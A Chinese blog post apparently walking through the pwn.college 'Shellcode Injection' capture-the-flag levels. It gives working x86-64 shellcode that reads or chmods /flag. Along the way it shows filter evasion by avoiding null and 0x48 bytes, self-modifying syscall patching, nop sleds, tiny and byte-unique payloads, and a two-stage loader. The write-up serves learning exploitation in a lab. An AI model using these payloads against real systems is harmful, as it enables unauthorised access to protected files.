pwn.college: Shellcode Injection

你好,请手写shellcode,并熟悉汇编语言~,

Shellcode Injection

这个模块,使用的不是as和ld来汇编链接了。而是使用gcc编译器。

gcc是更高级的编译器,更方便,gcc可以自动处理汇编代码。可以根据文件的后缀名自动选择相应的编译器和链接器。gcc可以自动链接标准库以及你指定的其他库。

as+ld更底层,as汇编器将汇编代码转换为目标代码。目标代码是机器可以理解的二进制代码,但还没有链接成可执行文件。ld是GNU链接器,它将多个目标代码文件链接成可执行文件。

1
$ gcc -nostdlib -static shellcode.s -o shellcode-elf 

nostdlib:不链接标准C库(libc)。这意味着不依赖于标准库中的任何函数,例如prinftmalloc等。

-static:这个选项告诉编译器静态链接所有的库函数。所有的库函数代码将被直接包含到最终的可执行文件中,而不是通过动态链接的方式在运行时加载。提高程序可移植性。

1
$ objcopy --dump-section .text=shellcode-raw shellcode-elf

为什么需要objcopy这个命令呢?

objcopy将编译出来的shellcode-elf中单纯代码部分的机器码给提取出来。如果不这样做的话,gcc编译出来的可执行文件会有其他的机器码,用这个可执行文件作为shellcode传给程序的话,就不能直接起作用了,有其他杂项。

level1

目的是通过shellcode,读取flag,并将其打印在屏幕上。OK,使用open和sendfile系统调用即可。

sys_sendfile(int out_fd,int in_fd,off_t *offset,size_t count)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.intel_syntax noprefix
.global _start
_start:
nop
mov rbx, 0x00000067616c662f # "/flag"
push rbx
mov rdi, rsp # /flag
mov rsi, 0 # read only
mov rax, 2 # 系统调用号
syscall

mov rdi, 1 # 标准输出
mov rsi, rax # /flag的fd
mov rdx, 0 # offset 0,从第一个字符开始打印
mov r10, 1000 # 输出长度
mov rax, 40 # 系统调用号
syscall

mov rax, 60
syscall

其实,也可以使用read,write系统调用,但是更复杂,需要处理字符串。

level2

这关简单,用到之前的技巧,生成0x800个nop即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.global _start
_start:
.intel_syntax noprefix
.rept 0x800
nop
.endr
mov rbx, 0x00000067616c662f
push rbx
mov rax, 2
mov rdi, rsp
mov rsi, 0
syscall

mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 1000
mov rax, 40
syscall

mov rax, 60
syscall

level3

这一关,需要shellcode中没有空字节。

1
mov rbx, 0x67616c662f		# bb48    662f    616c    0067    0000

第一句就会有很多空字节,那么可以这么写:

1
2
3
4
mov ebx, 0x67616c66
shl rbx, 8
mov bl, 0x2f
# 66bb 616c 4867 e3c1 b308 532f

hexdump -x ./shellcode-raw来查看shellcode的机器码。

因此,其他的也相应进行替换。最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.intel_syntax noprefix
.global _start
_start:
# mov rbx, 0x67616c662f
mov ebx, 0x67616c66
shl rbx, 8
mov bl, 0x2f
push rbx
# mov rax, 2
xor rax, rax
mov al, 2
mov rdi, rsp
xor rsi, rsi
syscall

# mov rdi, 1
xor rbx, rbx
mov bl, 1
mov rdi, rbx
mov rsi, rax
xor rdx, rdx
# mov r10, 1000
xor rax, rax
mov al, 3
shl rax, 8
mov al, 0xe8
mov r10, rax
# mov rax, 40
xor rax, rax
mov al, 40
syscall

# mov rax, 60
xor rax, rax
mov al, 60
syscall

level4

This challenge requires that your shellcode have no H bytes! 不给有H字节。也就是48

那就将所有的内容都换成push/pop即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.intel_syntax noprefix
.global _start
_start:
# mov rbx, 0x67616c662f
push 0x616c662f
mov dword ptr [rsp+4], 0x67
push 0x2
pop rax
push rsp
pop rdi
push 0x0
pop rsi
syscall

# mov rdi, 1
push 0x1
pop rdi
# mov rsi, rax
push rax
pop rsi
# mov rdx, 0
push 0x0
pop rdx
# mov r10, 1000
push 1000
pop r10
# mov rax, 40
push 40
pop rax
syscall

# mov rax, 60
push 60
pop rax
syscall

level5

不让用syscall(0x0f05)sysenter(0x0f34)int(0x80cd)

题目提示是:绕过的一种方法是让shellcode修改自己,以便在运行时插入syscall指令。

那么实际操作起来就是,将syscall的0x0f05成为一个字节值,即将0x0e05作为一个字节存储于代码段中,然后通过inc指令加1,使得第一个字节0e变成0f,并执行这个机器码,成功调用syscall即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.intel_syntax noprefix
.global _start
_start:
mov rbx, 0x00000067616c662f # "/flag"
push rbx
mov rdi, rsp # /flag
mov rsi, 0 # read only
mov rax, 2 # 系统调用号
inc byte ptr[rip]
.byte 0x0e
.byte 0x05

mov rdi, 1 # 标准输出
mov rsi, rax # /flag的fd
mov rdx, 0 # offset 0,从第一个字符开始打印
mov r10, 1000 # 输出长度
mov rax, 40 # 系统调用号
inc byte ptr[rip]
.byte 0x0e
.byte 0x05

mov rax, 60
inc byte ptr[rip]
.byte 0x0e
.byte 0x05


gcc -Wl,-N --static -nostdlib -o shellcode-elf shellcode.s

要记住编译时需要使用这些参数,以保证.text段是可写的,因此才能修改.byte 0x0e.

level6

前4096个字节不给写的权限,那我直接填充这4MB的空间即可。

1
2
3
.rept 0x1000
nop
.endr

nop填充即可。

level7

不给输出了现在,那么通过shellcode创建一个文件,然后把flag写进去就好啦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.intel_syntax noprefix
.global _start
_start:
nop
mov rbx, 0x00000067616c662f # "/flag"
push rbx
mov rdi, rsp # /flag
mov rsi, 0 # read only
mov rax, 2 # 系统调用号
syscall

mov r10, rax # /flag的fd

# mov rbx, 0x74756f2f706d742f # "/tmp/out"
push 0x00
mov rbx, 0x74756f2f706d742f
push rbx
mov rdi, rsp
mov rsi, 01|0100 # O_WRONLY|O_CREAT
mov rdx, 0777 # 权限777
mov rax, 2
syscall


mov rdi, rax #
mov rsi, r10 # /flag的fd
mov rdx, 0 # offset 0,从第一个字符开始打印
mov r10, 1000 # 输出长度
mov rax, 40 # 系统调用号
syscall

mov rax, 60
syscall

level8

限制在0x12个字节的shellcode,通过chmod系统调用,修改/flag的权限即可。

好神奇的软链接!

linux下,软链接到一个程序时,修改这个软连接文件会导致原文件的权限也被修改。因此可以通过软链接来重命名一个a文件,0x61这样就能减少字节数。

1
2
3
4
5
6
7
8
9
10
.intel_syntax noprefix
.global _start
_start:
push 0x61
mov rdi, rsp
push 4
pop rsi
push 0x5a
pop rax
syscall

level9

本来想通过jmp [rip+10]指令然后+nop填充来跳过int3的,但是这条指令就占了6个字节。后来发现jmp 标签只需要两个字节。更简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.intel_syntax noprefix
.global _start
_start:
push 0x61
mov rdi, rsp
push 4
pop rsi
jmp next
.rept 0xa
nop
.endr
next:
push 0x5a
pop rax
syscall
push 60 # sys_exit
pop rax
syscall

level10

它的过滤器如下:

1
2
3
4
5
6
7
8
9
10
11
uint64_t *input = shellcode_mem;
int sort_max = shellcode_size / sizeof(uint64_t) - 1;
for (int i = 0; i < sort_max; i++)
for (int j = 0; j < sort_max-i-1; j++)
if (input[j] > input[j+1])
{
uint64_t x = input[j];
uint64_t y = input[j+1];
input[j] = y;
input[j+1] = x;
}

而我的shellcode只有13个字节,13/8 = 1。再减1就是0。那么就不会执行过滤器。所以我执行后就拿到了flag。它实际会将16个字节以上的shellcode进行排序。

level11

这道题是level10 加上删去读取stdin。可是使用chmod修改权限的shellcode压根就不需要stdin。网友还是厉害,想到了chmod这个方法。后面的几关都直接过了。

1
2
3
4
5
6
7
8
9
10
11
.intel_syntax noprefix
.global _start
_start:
push 0x61
mov rdi, rsp
push 4
pop rsi
push 0x5a
pop rax
syscall

level12

This challenge requires that every byte in your shellcode is unique!

这一关需要每个字节是第一次使用,也就是没有重复的字节出现。

1
2
3
4
5
6
7
8
9
10
.intel_syntax noprefix
.global _start
_start:
push 0x61
mov rdi, rsp
mov bl, 0x4
xor esi, ebx
mov al, 0x5a
syscall

我居然一直不知道esi寄存器的存在,我以为只有a,b,c,d寄存器会有32位,16位,8位寄存器。

通用寄存器都有低至16位的寄存器。

level13

限制shellcode为0xc个字节!上面的exp还能删减一下。

1
2
3
4
5
6
7
8
9
.intel_syntax noprefix
.global _start
_start:
push 0x61
mov rdi, rsp
xor esi, 0x4
mov al, 0x5a
syscall

这样就正好是0xc个字节。

level14

shellcode只能是6个字节,我靠。看看人家的wp做吧,没有什么思路。

发现得用当时的一些寄存器来达成目标。在调用我们的shellcode时,可以看到rax是0。并且

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x0
RBX 0x627f8b68e7e0 (__libc_csu_init) ◂— endbr64
RCX 0x766dd2e1e297 (write+23) ◂— cmp rax, -01000h /* 'H=' */
RDX 0x26a69000 ◂— push 61h /* 0x83e78948616a */
RDI 0x766dd2efe7e0 (_IO_stdfile_1_lock) ◂— 0x0
RSI 0x766dd2efd723 (_IO_2_1_stdout_+131) ◂— 0xefe7e0000000000a /* '\n' */
R8 0x16
R9 0x10
R10 0x627f8b68f113 ◂— 0x525245000000000a /* '\n' */
R11 0x246
R12 0x627f8b68e200 (_start) ◂— endbr64
R13 0x7ffe2e2e5a80 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7ffe2e2e5990 ◂— 0x0
*RSP 0x7ffe2e2e5948 —▸ 0x627f8b68e7c3 (main+636) ◂— lea rdi, [rip + 0cdah]
*RIP 0x26a69000 ◂— push 61h /* 0x83e78948616a */

rax为0,那么就是read系统调用号。read系统调用的第一个参数rdi为文件描述符,需要为0。第二个参数rsi为读取存放的地址,这里应该就是rdx/rdi都行。第三个参数rdx为0x26a6900为写入的字节数。

那么也就是需要重写rdi寄存器和rsi寄存器即可。stageone的代码:

1
2
3
4
5
6
7
.intel_syntax noprefix
.global _start
_start:
xor edi, edi
mov esi, edx
syscall

随后,把stagetwo的代码读入即可。

1
2
3
4
5
6
7
8
9
10
11
12
.intel_syntax noprefix
.global _start
_start:
.rept 0x10
nop
.endr
push 0x61
mov rdi, rsp
xor esi, 0x4
mov al, 0x5a
syscall

需要一个填充,因为前六个字节也被覆盖了,因此执行只能从第七个字节开始。

最后的命令是cat stageone-raw shellcode-raw | /challenge/babyshell_level14。抽象的是,我在gdb里调试了半天,stageone的代码一直无法进行系统调用,我以为是代码的问题,实际上是权限不够,无法进行syscall。


pwn.college: Shellcode Injection
https://loboq1ng.github.io/2025/02/25/pwn-college-Shellcode-Injection/
作者
Lobo Q1ng
发布于
2025年2月25日
许可协议